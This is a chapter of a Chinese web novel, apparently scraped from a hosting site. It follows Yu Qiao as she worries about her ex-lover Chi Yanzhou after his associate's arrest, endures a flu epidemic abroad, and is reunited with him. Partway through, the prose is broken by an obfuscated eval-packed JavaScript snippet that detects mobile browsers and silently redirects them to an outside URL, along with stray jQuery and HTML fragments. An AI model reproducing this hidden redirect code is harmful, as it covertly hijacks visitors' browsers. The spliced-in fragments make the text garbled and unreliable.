默认冷灰
24号文字
方正启体

55.出事

作者:且行之本书字数:K更新时间:
    池晏舟走后没两天,于乔接到一个陌生电话,喂了好几声,那边才说话:


    “姐姐,我是小茹。”


    于乔捏紧电话,低声发出一连串问话:“小茹,你怎么样了?现在好不好?还在南京吗?”


    小茹已离开南京,现居厦门,在远离市中心的小岛上,有一套二室一厅,面积不大,布置得简单又温馨,推开窗便可以望见不远处的大海。


    “我很喜欢这里,傍晚的时候可以去环岛路散步,落日特别漂亮。”小茹笑着说。


    于乔也笑了,出国前,她将沈奕安给小茹的那套房子出售,房款一部分存入银行,另一部分去购买了这套房子。


    滨海城市,三角梅开得很艳,应该是小茹喜欢的。


    那次她去南京见小茹,请那位捎信的阿姨将录音笔连带着银行卡和钥匙,一并带了回去。


    小茹说,先前醒来,就有人监视她,但不是沈奕安的人,还试探她,好像要从她这里找一个什么东西。她只能装作失忆,骗过所有人。后来才知道,派来监视她的人是沈奕安的夫人派来的,要找的东西也确实在她那里。


    她又说,电话里三言两句讲不清,也不便讲,等以后见面再谈。总之最近出了事,沈奕安的电话不通,监视她的人也撤走。直到两个穿制服的找到她,请她去“做一个简单的问话”,她才知道,沈奕安涉嫌多个罪名,在公司大会上直接被拷走。


    “姐姐,我彻底自由。”她说。


    于乔为她高兴,但不知是不是错觉,她觉得小茹似乎并没有她说的那么开心。


    挂了电话,思忖半晌,给池晏舟播去一个电话。


    自他回国,一条消息也没有。


    呵,还说让她等他。


    从前可是不管是他出差,还是去哪儿,落地时都会发一条信息报个平安。他那个人有时候悲观得可怕,说话又百无禁忌,明明是路途无聊想找她,却玩笑说万一哪天飞机失事或者出了车祸,她作为遗孀,总得第一个知晓吧。


    于乔呸他,说他狗嘴里吐不出象牙,哪有这样咒自己的。


    他笑着斜睨她,说你嘴里不仅能吐象牙,还能吐别的,就是樱桃小嘴,宽度和深度都不太够。


    于乔尖叫着扑过去,作势要撕烂他的嘴。


    每次他调戏起她来,总是那么下流又那么坦荡,好像说我就是这么个人,坏也坏得一目了然,倒还有点君子的磊落!


    于乔无可奈何,但偏偏最吃他这一套。


    不过从那时候起,每次他要去外地,不管多晚,她都会等着他报平安的消息。


    不管多晚,她都会回复。


    但这次杳无信讯。


    大概是她没有资格,让她等着都是骗人的,反正他这个人谎话连篇。


    可是接了小茹的电话后,她实在担心。


    他和沈奕安像穿连裆裤一样好,沈奕安出事难道不会牵连到他吗?


    就譬如山城的那块地,表面是批给徐斌的,可徐斌是徐莹的亲哥,徐莹又是沈奕安的情妇。


    况且当初在山城,他们每隔一段时间就要去打牌,输赢大得惊人。徐斌在牌桌上故意试探,还有输钱的行为太明显了,连她都觉得池晏舟可能在里面分一杯羹。所以当时为了还池晏舟的钱,还故意把钱输给徐斌。


    听说那块地申报的项目极大,但中途出了不少怪事,眼红的人也不少,里面的猫腻不可谓不深。现在沈奕安出了事,还不知道要牵出些什么来!


    思及此处,于乔再也忍不了,立马给池晏舟打去了电话。


    那边关机。


    一种不祥的预感浮上心头,她又给他秘书程诚打过去,也是关机。


    那一个下午,不知道反复拨打了多少次电话,都是徒劳。


    于乔的心沉下去,担忧的事情也许成真了。


    她想托人去打听一下,找了一大圈,发现只有傅律师才可能知道。


    但她打过去,傅峥说不记得她是谁,两句话就挂断。


    再打,已被拉黑。


    她和池晏舟分手也就半年时间,果然是人走茶凉。


    内心涌上一股悲哀,又交织着一股可笑,最后都化作无能为力。


    不知不觉间,已经夜深。


    她忘记了关窗,台灯的暖光吸引进来一只飞蛾。指头那么大一只,振着灰色的透明羽翅,胡乱地往灯上撞。


    池晏舟现在什么状况,到底是在外面还是进去了,她全都不知道。


    一道无形的屏障将他们隔绝。


    就像这只微小的飞蛾,隔着玻璃罩乱撞,永远触碰不到真正的光源。


    这时候她才感到一阵后悔,当初一股子清高劲儿,觉得接触的无非都是些纵情声色的场合,如今连一个打听消息的人都问不到。


    后来几经周折,还是李教授传来一个消息,说是他有个朋友在电视台上班,最近台里的一个女主播闪婚了,据说和她老公才认识三天就领的证,传言是因为她前男友垮台了,她当然选择远离,明哲保身。


    单位里有人自然看不惯她,掀起了一阵八卦潮。说先前订婚的时候声势浩大,对方是哪家的公子,一副了不得的样子。还没做夫妻,就大难临头各自飞了。


    李教授去帮她打听了,女主播姓陈。


    于乔听完,只是一阵沉默。说不清什么情绪,更谈不上悲喜交加。


    她除了每天刷很多次新闻,妄图在里面发现一点眉目,便只能控制住自己不再去想。


    因为想也是无用的。


    但每到夜深人静时,睡不着觉,她又一遍遍地在网上搜索监狱的情况,以及探监的条件。


    查完后,开始翻箱倒柜,终于将那条红宝石项链找出来。想着哪天拿去卖了吧,万一得交巨额罚款呢?多少还能凑一点,哪怕是杯水车薪呢?


    她简直有些神经质了。


    楼上咳个没完没了,有天来了救护车,听说是咳了很多血。流感的范围再扩大,也变得越来越严重。


    除了打听消息,于乔每天做两件事。一是抢回国的机票,一是去超市抢购生活必需品。


    国内形势严峻,新闻里每天都播放着感染的人数。于乔独在异乡,此时更是想回到家人身边。但机票价格一天一变,数量有限,又实在难得买到。


    更伤脑筋的是,先前超市就缺货,好些人都开始大力囤东西。她年轻,从小又在社会主义社会长大,哪里会有断粮的未雨绸缪。


    她大方得很,让员工和邻居们把店里的食品都分走。反正她也快回国了,等过完年再来。


    可是现实狠狠给她上了一课——机票没有买到,家里吃的也快没了。


    这时候,流感已经很严重了,几乎到了家家户户闭门不出的地步。


    于乔脑子是空的,心里是空的,家里因为没有粮食也是空的。整座城市静得可怕,路上没车,街上没人,空空荡荡的,像一座死城,连往日里听得见邻居放的歌曲都没有了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453487|156329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    于乔一个人关在屋子里,每天计划着吃的份量,熏了醋消毒,被呛得咳嗽起来,有时候甚至觉得自己会死过去吧。


    若是死了,连尸体都不会被人发现。


    在灾难面前,人渺小得如一颗浮沉。


    好在有关系好的学生家长,来给她送过两次食物。到后面态势更严重时,也不再来。


    除此以外,唯一的动静便是三两天响起的电话铃声,妈妈很担心她。


    每天新闻播报的都是又死了多少人,一条条鲜活的人命化成一串冰冷的数字。


    她也想到了池晏舟,不知他的情况如何了,若是真的被关起来,好歹也与这流感病情隔绝了。


    但她想起来都觉得有些飘渺,有种恍若隔世的感觉。


    有天凌晨,电话铃声刺破深夜,于乔吓得一激灵。妈妈知道时差,若不是有急事,绝不会给她打电话。


    她还未睁开眼,便将电话接起,挺直了背坐起来。


    “开门。”低沉的声音传来,像是重力吸引,将她的神经猛地扯到电话那头去。


    于乔什么都没来得及问,愣住一秒,身体比思想更快,飞速地从床上跳下去,连鞋都没来得及穿,打开门,便往前扑过去。


    她的动作急,又是光着脚,差点滑倒,头撞在门框上。


    池晏舟赶紧抱住她,用一只手托住她的头,蹙眉道:“慢点,怎么鞋都不穿?”


    说着,打横将她抱起来往屋子里走。


    他的怀抱清冽而宽广,衣服上还沾染着深冬夜里的凉意,但颈窝的温度却是烫的。于乔紧紧攥住他,像是生怕他是一阵雾气般散开,可拥抱着她的力度和头顶的鼻息又叫人很踏实。


    “你怎么在这里?”她仰头望他。


    他说:“出了点事情没回得去,碾转好几个地方,本来昨天就想来接你,又临时换了住处,只能等安定了才来。”


    他说得轻松随意,但于乔知道事情不会这么顺利。


    “我听说沈奕安出事了,给了打了一万个电话,你都没接,我还以为你也出事了。”她双手搂住他的脖子,把自己牢牢地挂他身上。


    他将她放到沙发上,坐下来后,又把她抱到自己的腿上,说:“是出了点事情,有些棘手。”


    于乔端正坐好,抱住他的手没放,突然想起来似的,问:“我听说你那个未婚妻和人闪婚了,真的假的?是因为这次的事情吗?”


    池晏舟刮了下她的鼻子,说:“消息真灵通。”


    他又说:“很正常,因为利益聚集在一起,也会因为利益冲突而分开。”


    说这话时,他相当平淡,显得特别老成,司空见惯一般,仿佛说的都是别人的事。


    于乔忍不住酸道:“你很遗憾?”她的两手松开了些,语气冷飕飕的。


    池晏舟说:“不遗憾,反倒是阴差阳错解决了这件错事儿。”


    “那你呢?要不要跟我走?怕不怕有人来找你麻烦?”他问。


    说话时,把她的手捏在掌中,轻柔地去搓她的手指。


    “我什么时候怕过。”于乔白他一眼,理所当然道。


    是啊,她是最讲义气的,对他也是最不设防的。就连从前以为他派人去找了那个变.态的贼,也是第一时间就让他进门。


    池晏舟的脑海中冒出一个无厘头的想法来,要是哪天他杀了人,她也会帮他毁尸灭迹吧。


    想着想着,自己就忍不住笑了,便亲昵地去蹭她的头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)